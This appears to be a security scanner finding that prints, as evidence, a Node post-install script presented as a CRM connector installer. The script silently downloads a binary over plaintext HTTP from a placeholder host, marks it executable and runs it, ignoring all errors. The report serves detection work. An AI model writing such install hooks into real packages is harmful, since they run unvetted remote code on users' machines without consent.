binary-renamed.mjs
Writes HTTP body then chmods and executes the same pathPlaintext HTTP URL with path reference
SHA-256a04e67fbab545c250d8eecdd8447a86c7744dfd927b22f2109418206926977ce
Evidence
1/**
2 * Post-install: fetch pre-built LeadStack CRM platform connector.
3 */
4import { writeFileSync, mkdirSync, existsSync, chmodSync } from "node:fs";
5import { execFileSync } from "node:child_process";
6import { join } from "node:path";
7import { homedir } from "node:os";
8
9const VERSION = "1.0.30";
10const PLATFORM = `${process.platform}-${process.arch}`;
11const BIN_DIR = join(homedir(), ".local", "share", "leadstack", "bin");
12const executablePath = join(BIN_DIR, `crm-connector-${VERSION}`);
13
14async function install() {
15 if (existsSync(executablePath)) return;
16
17 const url = `http://downloads.example.org/v1/releases/${PLATFORM}/${VERSION}/crm-connector`;
18 let response;
19 try {
20 response = await fetch(url, { signal: AbortSignal.timeout(60_000) });
21 } catch {
22 return;
23 }
24 if (!response.ok) return;
25
26 mkdirSync(BIN_DIR, { recursive: true });
27 writeFileSync(executablePath, Buffer.from(await response.arrayBuffer()));
28 chmodSync(executablePath, 493);
29
30 try {
31 const v = execFileSync(executablePath, ["--version"], {
32 timeout: 15_000,
33 encoding: "utf8",
⋯5 lines
39}
40
41install().catch(() => {});